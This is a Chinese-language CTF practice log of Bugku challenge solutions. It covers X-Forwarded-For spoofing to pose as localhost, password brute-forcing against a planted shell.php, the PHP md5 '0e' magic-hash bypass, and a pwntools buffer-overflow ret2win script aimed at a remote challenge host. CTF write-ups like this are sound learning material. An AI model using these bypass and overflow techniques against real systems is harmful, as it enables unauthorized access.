1/8
Web(bugku本地管理员):
打开界面发现需要登录用户,然后随机输入用户名和密码进行抓包,抓包后发包然后会发现一个似乎是base64的编码,然后进行解密,不知道是密码还是账号,只有后面尝试
#这里要想找到base64编码还可以通过F12查看网页源代码获得
随机登陆后会发现需要联系管理,估摸着这个账号应该是admin 密码就是test123,然后登陆进行抓包,因为需要管理员可以通过构造XFF
XFF(X-Forwarded-For):
定义: X-Forwarded-For 是一个 HTTP 请求头字段,通常由代理服务器使用。它用于标识最初发起请求的客户端 IP 地址,即用户的真实 IP 地址。
作用: 当客户端通过多个代理服务器发出请求时,XFF 头字段可以跟踪请求通过的每个代理服务器,并保留原始客户端 IP 地址。这在负载均衡、日志记录和安全审计中非常有用,因为服务器可以看到实际的请求来源。
格式: X-Forwarded-For: <client1>, <proxy1>, <proxy2>, ...
其中,<client1> 是最原始的客户端 IP 地址,接下来的 IP 地址是请求经过的代理服务器。
漏洞利用:
X-Forwarded-For(XFF)是一个HTTP头部字段,用来标识通过代理或负载均衡器转发的客户端IP地址。当一个请求通过代理服务器或负载均衡器时,原始的客户端IP地址会被隐藏,而服务器只能看到代理服务器的IP地址。为了追踪原始客户端,代理服务器通常会将原始IP地址放在X-Forwarded-For头部字段中。
X-Forwarded-For漏洞的原理
X-Forwarded-For漏洞利用的是服务器对该头部字段的信任。攻击者可以通过伪造或篡改X-Forwarded-For头部,冒充来自可信IP的请求。这类攻击的典型风险包括:
绕过IP限制: 如果服务器根据IP地址做访问控制,例如限制某些IP访问特定资源,那么攻击者可以伪造X-Forwarded-For头部为允许的IP地址,从而绕过IP白名单。
日志伪造: 攻击者可以向服务器发送请求时伪造X-Forwarded-For,服务器可能将伪造的IP记录在日志中,掩盖攻击者的真实IP地址,影响后续的日志分析和安全审计。
因为是本地管理员,所以我们可以在抓出来的包里面插入 X-Forwarded-For:127.0.0.1然后再运行就可以得到flag
Misc(隐写):
下载好图片将其放入010editor中查看,颜色不对劲,将图片放入tweakpng中,用于检查和修改 PNG 图像文件,然后发现图片的crc被改了,然后就改回去发现还是没有flag,估摸着宽和高也被改了
然后运行python脚本查看原图片的宽和高 ,下面这个是初始脚本
import os
import binascii
import struct
crcbp = open("2.png","rb").read()
for i in range(1024):
for j in range(1024):
data = crcbp[12:16] + struct.pack('>i',i) + struct.pack('>i',j) + crcbp[24:29]
crc32 = binascii.crc32(data) & 0xffffffff
if crc32 == 0xcbd6df8a:
print (i,j)
print ("hex",hex(i),hex(j))
这样改后保存,然后flag就会出现在图片上
Crypto(抄错的字符):
由题目描述可得小明把部分数字抄成了字母,还因为强迫症把所有字母都换成大写,这样递推的话好像是类似于base密码,将小明写错的放入base家族进行解密,发现只有base64能够接触东西来,那么这段密文极可能是base64编码,这里base64以四个为一递推,然后就可以在最后补上一个=, QWIHBLGZZXJSXZNVBZW=
到这里就必须找到与每一个字母都和相似的数字或者是小写字母进行改变,我也写不来代码,只有四个一组四个一组挨着挨着尝试改变
前面四个验证下由QWIH原本是QW1h
然后挨着尝试吧第二个BLGZ多次尝试后是bl92,不得不说小明是个智障,9变成了G后面的几段就是依次尝试,每段之间会有一定的联系,这个推着真的难啊,小明没长脑子只能说
最终的base64是QW1hbl92ZXJ5X2Nvb2w= 解码后就是答案
Reserve(Easy_Re):
下载好附件放进PE进行查壳和多少位,发现无壳32位于是放进32位的ida
用f5查看伪代码,找到最重要的函数,然后就是分析函数
v5 = _mm_loadu_si128((const __m128i *)&xmmword_413E34);
v3 = strcmp(v5.m128i_i8, v9);
最重要的就是这两个函数了
第二个函数是比较v3和v9的大小关系,__m128i
类型通常用于存储128位的整数数据
第一个函数是指从内存地址&xmmword_413E34
处加载128位未对齐的数据到变量v5
中
我们的输入 被存储到 v9 中,正确的flag 存储到了 v5中; v5 v9 比较后的状态值 存储到 v3中,V3=0时,执行else,打印 flag get 。 否则 打印提示 flag错误。
那么我们的重点就是找到v5的flag是什么
xmmword_413E34 字符串常量 存储到 v5 内存位置,双击点入发现一堆十六进制的数,然后将其转化为ascii值似乎就是答案的倒叙
还有就是更简单的方法,直接放入010editor或者是winhex中直接搜索就可以得到flag
Pwn(overflow) :更换为两道web
web(bp):
打开题目发现就是爆破,但是我从正常情况下爆破发现字典都是一样的,但是他说z?????
怀疑就是z开头的密码,然后再top1000挨着挨着尝试z开头,并且是六位发现,多次尝试发现密码是zxc123,当然这是个笨方法
web(网站被黑):
打开发现不了什么,用dirsearch看看,御剑也可以,没想到能够出现一个shell.php,
然后在网页后面加入shell.php出现一个类似于登录的东西,但是我不知道登陆的口令,然后利用top1000进行对simple list进行爆破,然后会发现一个字典长度不同hack
然后用hack登陆就可以出现结果
1/9
Web(文件备份)
进去靶场发现就是一堆像是一堆十六进制,但是感觉并没有什么用,然后查看源代码看看有没有什么可以利用的,只存在有编码
于是用用神器dirsearch扫描看看,下面是dirsearch的作用。下面扫描完发现存在index.php.bak
(这里也可以使用御剑进行查看)
于是加到网址后面会发现会下载一个php文件
分析代码
include_once语句包含了一个名为"flag.php"的文件。该文件应该包含了一个变量$flag,存储着一个标志(flag)。
然后,通过ini_set函数将PHP的错误显示设置为0,就是不显示错误信息。
然后代码从$_SERVER['REQUEST_URI']中获取URL中的?后面的参数。然后使用str_replace函数将参数中的’key’替换为空字符串。接着使用parse_str函数将参数解析为变量。
后面接着使用md5函数对$key1和$key2进行哈希运算,并通过echo语句输出结果。
最后,使用条件语句判断$key1和$key2的哈希值是否相等,并且不等于$key1和$key2本身。如果满足条件,则通过echo语句输出$flag变量的值和一段文字。
解题思路
在php中要想两个md5加密后相等,无非就是加密前的数据相等,但是这个题说了他们本身必须是不等的。但是php有个特性如果md5是0e开头的那么php就会将它们视为0。
所以我们只需要满足(key1,key2)两者md5加密后都是以0e开头的就可以了
但是执行url命令时要注意key会被空格替换,后台php代码无法识别将会错误,但是他不会显示出来,可以使用双写key进行绕过key可以用kkey绕过,然后就可以得到flag了
MIsc(telnet)
方法(1)下载好附件用记事本打开发现有flag ,当然这是比较简单的方法,只是尝试了哈这种方法没想到也可以,010editor和winhex都可以打开搜索flag 这个题比较简单
方法(2)可以直接利用逆向工具来做,这里我使用的是HxD这款逆向工具 先把文件的扩展名改为txt 然后再将文件拖入逆向工具里面把字符改为 ANSL 进制改为16进制然后再点击搜索按钮搜索按钮搜索flag
方法(3)用Wireshark筛选telnet,然后追踪流就能发现password里面有flag
Reserve(游戏过关)
可以自己先玩一下但是不好直接全部点亮
老套路下载好附件先查一下壳和位数(无壳,32位),然后就放进ida进行分析
用f5进行反汇编查看,然后找到主函数,然后双击进去
这里就是玩一个游戏
-
每盏灯都有一个唯一的序列号
n
,从1开始依次编号。 -
每盏灯都有一个状态
m
,这个状态可以是1或0。当m=1
时,表示灯是开着的;当m=0
时,表示灯是关着的。 -
最初这些灯都是熄灭的,我们可以通过改变灯的序列来改变他的状态,但是你需要关注的是你改变了灯的序列,那么这个序列前面和后面的状态会改变,当所有灯都亮着的时候那么flag就会出现,现在请输入输入n。
就是输入一个1到8之间的数,例如1:就会改变周围的三个数的状态,使8、1、2三个数变亮,再输入一个2:也会改变2周围三个数的状态,使1、2熄灭,3亮起。无限次输入后,最后8个数都亮起的时候就会输出flag
第四十五行到第五十一行就是表示将输入数字的两边连在一起的三个数点亮
后面执行一个判断语句,判断是否所有数都等于1,就是看是否都被点亮
进入flag函数输出的就是第六十八行,双击点入就是两个初始化后的数组求与之后,再按位数0×13求与后转化为字符串就可以了 这里借用大佬的脚本运行后就可以得到flag
# py -3
# coding:utf-8
array1 = [18,64,98,5,2,4,6,3,6,48,49,65,32,12,48,65,31,78,62,32,49,32,1,57,96,3,21,9,4,62,3,5,4,1,2,3,44,65,78,32,16,97,54,16,44,52,32,64,89,45,32,65,15,34,18,16,0]
array2 = [123,32,18,98,119,108,65,41,124,80,125,38,124,111,74,49,83,108,94,108,84,6,96,83,44,121,104,110,32,95,117,101,99,123,127,119,96,48,107,71,92,29,81,107,90,85,64,12,43,76,86,13,114,1,117,126,0]
flag = ''
for i in range(len(array1)):
flag+= chr(array1[i] ^ array2[i] ^ 0x13 )
print (flag)
Crypto(easy_crypto)
打开附件发现这么一堆东西,看着也不知道是啥,这谁想得到是摩斯密码啊
但是这里解密出来发现提交后不对,猜测那个%ub %ud分别是{}
Pwn(overflow)
查一下是多少位的,是64位的,于是放进ida64去看看函数
定义了一个48字节的数组s。
memset()函数将数组s的前0x30字节初始化为0,
read()函数以s作为缓存区读取了0x100个字节的数据。
数组s的长度小于要读取的长度,这会导致缓冲区溢出。
在旁白发现一个getshell函数,这里发现执行那个命令就会给出flag,这个估计就是个后门函数
然后看一下栈s的结构,需要找到能调用该函数的入口,需要将数组s的部分进行覆盖。数组 s
的大小是 48 字节(0x30)。我们需要覆盖返回地址,因此需要填充 48 字节的缓冲区,再加上 8 字节的栈帧指针(EBP)。 然后需要get_shell_()
函数的地址
这个就是需要运行的脚本,运行后就可以得到flag了
from pwn import *
#io = process('./pwn2')
io = remote("114.67.175.224", 14794)
payload = b'a' * (0x30 + 0x8) + p64(0x400751)
io.recvline("say something?\n")
io.send(payload)
io.interactive()